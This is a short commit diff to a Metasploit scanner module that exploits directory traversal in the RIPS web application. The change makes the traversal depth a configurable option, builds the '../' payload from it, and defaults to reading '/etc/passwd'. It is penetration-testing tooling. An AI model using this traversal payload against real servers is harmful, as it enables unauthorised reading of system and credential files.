Skip to content

Commit ce6e5e1

Browse files
committed
Make depth an option
1 parent 70fad73 commit ce6e5e1

File tree

1 file changed

+2
-1
lines changed

1 file changed

+2
-1
lines changed

modules/auxiliary/scanner/http/rips_traversal.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -36,11 +36,12 @@ def initialize(info = {})
3636
Opt::RPORT(80),
3737
OptString.new('TARGETURI', [ true, "The URI path to the web application", "/rips/"]),
3838
OptString.new('FILEPATH', [true, "The path to the file to read", "/etc/passwd"]),
39+
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 5 ])
3940
], self.class)
4041
end
4142

4243
def run_host(ip)
43-
traversal = "../../../../../"
44+
traversal = "../" * datastore['DEPTH']
4445
filename = datastore['FILEPATH']
4546
filename = filename[1, filename.length] if filename =~ /^\//
4647

0 commit comments

Comments
 (0)